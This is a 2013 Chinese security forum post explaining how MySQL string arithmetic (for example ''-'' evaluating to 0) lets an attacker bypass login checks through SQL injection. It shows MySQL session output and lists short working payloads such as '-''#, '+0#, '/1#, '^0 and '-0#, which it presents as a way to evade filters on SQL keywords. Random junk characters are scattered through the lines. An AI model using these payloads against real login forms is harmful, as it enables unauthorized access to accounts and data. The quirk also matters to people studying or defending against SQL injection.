找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1933|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我们先来看这样一个场景。
* k- _3 g  }' R, E' O有以下表结构: 3 D- O/ l' S( B$ `2 H
5 j: P1 |( C  ?6 }; r% ]
mysql> desc admin;* i# U" a5 ]+ k& V: V  L% N8 H
+----------+--------------+------+-----+---------+----------------+& {& i4 F3 q$ j
| Field    | Type         | Null | Key | Default | Extra          |! ]3 b+ R5 M' _) T
+----------+--------------+------+-----+---------+----------------+1 x6 }! D% Y% ?9 R0 g
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |+ s4 o" h+ S* R
| name     | char(32)     | NO   | UNI | NULL    |                |0 `: C/ m2 E$ U1 T8 G
| password | char(32)     | NO   | UNI | NULL    |                |
# P9 e! h! i- Z1 \3 g0 P* s& X+----------+--------------+------+-----+---------+----------------+- t* L* K" m3 s- r
3 rows in set (0.00 sec)
: H  e2 z, X+ {# s( m) u, _执行select * from admin;,成功返回所有记录内容。
; `! ~* B, U- _- H$ [. Q
* G# U3 @* z5 s: l7 Q7 H' U8 g
9 {9 s5 k' z* F* _9 O/ Y" r+----+--------+----------------------------------+
% @( N5 j5 k/ @4 B4 z| id | name   | password                         |7 V; ^8 s; M* b2 p2 e
+----+--------+----------------------------------+
+ w" H# R' G2 |2 f|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |, _2 k6 T$ w8 a
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |( N- R& h6 _" z- \8 O# E& G
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
$ H) I* @, W7 i7 `9 f+----+--------+----------------------------------+
9 O+ I$ G" f4 l2 z; J# X4 w3 rows in set (0.00 sec)
$ _2 ^' c2 z( n; J4 n9 R执行select * from admin where name=”;,没有匹配到任何记录。 ) ]2 T4 m' f8 e9 }

0 Z; c- j. Z7 A; ~$ j9 o! jmysql> select * from admin where name = '';* h8 B5 c1 P6 T3 M* \2 w
Empty set (0.00 sec)
- S( k0 G4 {# ^) ^( J/ F那么我们来执行select * from admin where name = ”-”;
2 I4 {3 ?/ [3 H# U7 Z6 W( M- I7 t& s; y
- A9 }4 s; U" x; l* K+ K
+----+--------+----------------------------------+# E5 z4 j$ B% J: B& i8 e
| id | name   | password                         |  H2 s% A. V! z2 H2 {& B
+----+--------+----------------------------------+
4 l& F' ~* M4 N; a! f6 e2 @|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |0 M" n/ p( ~, D% c/ [
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |% H+ E2 a) }/ @8 f  A1 o% b
|  4 | n00b   | ff80e8508d39047460921792273533a4 |4 o3 S+ y  }5 D7 w( N. S
+----+--------+----------------------------------+
* g& z% U) v+ Y4 Z" w' Q9 V3 rows in set, 3 warnings (0.00 sec)3 S1 n1 o/ G5 X. F* ^2 D; w
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 0 C6 i( _: v, u
3 [2 F8 g6 J% Q+ i
mysql> show warnings;) m: T- Z4 v, a# d
+---------+------+------------------------------------------
$ E; O  a9 }' n9 H4 `/ z& w& q| Level   | Code | Message
/ }! \1 V  J# g" s% V+---------+------+------------------------------------------0 Q2 `: l# u2 C" c& U
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
3 G9 q7 I. ]+ [5 D2 }/ m| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
: E- U5 U: {  W. }) h0 N| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
2 s" d8 [" x) {: ^" G  {+---------+------+------------------------------------------, K4 `& M& \' p' }1 l
3 rows in set (0.00 sec)7 i3 C4 |4 P7 E/ T& P% l& e
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
  {8 ~% @) I) y' D. }/ e% \( K/ T2 g" Q( T8 O) |2 v- i
mysql> select ''-'';
! X2 j5 x' q& p9 |1 C5 m7 m# u$ ]1 z+-------+2 q! q9 V( H9 J# x
| ''-'' |/ u1 s* {* O# A
+-------+* b/ u6 n1 E* k2 R# J% D7 u8 Y* m
|     0 |
/ U5 D/ a! s" @; f9 q# p" l+-------+. Z& C5 ?; v( H4 N  F8 K9 X
1 row in set (0.00 sec), \! I1 m1 p% k; z1 }) u3 D
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 9 |6 s, w9 }" G8 J1 x% z" s/ _

; ?0 w4 B/ I5 ?. z1 i0 `( A: Emysql> select CAST((select name from admin limit 1,1) as DECIMAL);
, u! j$ v1 V0 O+-----------------------------------------------------+
+ ?  n$ C6 B. f9 q0 u| CAST((select name from admin limit 1,1) as DECIMAL) |) h5 ?& V, W  }% w
+-----------------------------------------------------+2 O6 i2 k! n3 j+ B& F* T" v
|                                                   0 |- L, d5 w8 R( M
+-----------------------------------------------------+
" j( n+ O/ o9 Z) W- {. A1 row in set, 1 warning (0.00 sec)6 D5 S4 T; P: ~, h
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
( M2 c. Y$ f, x
# M: c, Q/ n- o& W) RSQL注入场景: http://www.sqlzoo.net/hack/
. h9 C4 t9 |9 @' M8 Q0 N$ {2 k7 B) B: o6 p; _

( w! J8 U: w. f7 u: a
# a. M, i0 f. y
: e  S: j& U1 Y9 E( p6 |' v4 {" I2 H0 s7 A如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 9 M8 C1 q, K6 h
5 B; @; K( y, D3 O0 x& K3 [2 ^- U
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
& P" M) {1 Q+ X: w3 R5 H: V  D
# a' n% `1 m2 s2 c+ ~0 X* Q! `6 S, `$ D$ a/ e, r
# ^  ^4 F  Y2 j& Y9 L3 z" U

- x& _9 k0 C7 i仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 4 C4 j( {6 m, V" t9 ~4 ^1 @
$ W2 x+ T/ V  O
   
# u# ?% i& r! Z7 g- v" ~4 K# @# ?! ^4 }% S0 `' x0 U
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
4 l$ G* D& `+ b* O1 V/ a$ U2 A: X: S, u! a; O
8 n  O8 M1 F/ K5 O4 M
mysql> select ''/1;
) z% ?, D' L' L% q+ u$ ~+------+8 J! c# j# m/ s( ]
| ''/1 |
! N' N: g* g9 f4 |+------++ @, S4 D: c' T6 I; a/ ]; I
|    0 |
* L+ k# @; x  p# c1 x( d+------+
1 a& }8 K) c7 r/ m1 row in set (0.00 sec)
: n- k7 i0 Y: o类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  / }; @' d3 {& {% ^' x* k

, l+ ~# o: F6 b; {& Z利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
4 O4 s7 N3 W. J% H4 y' R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表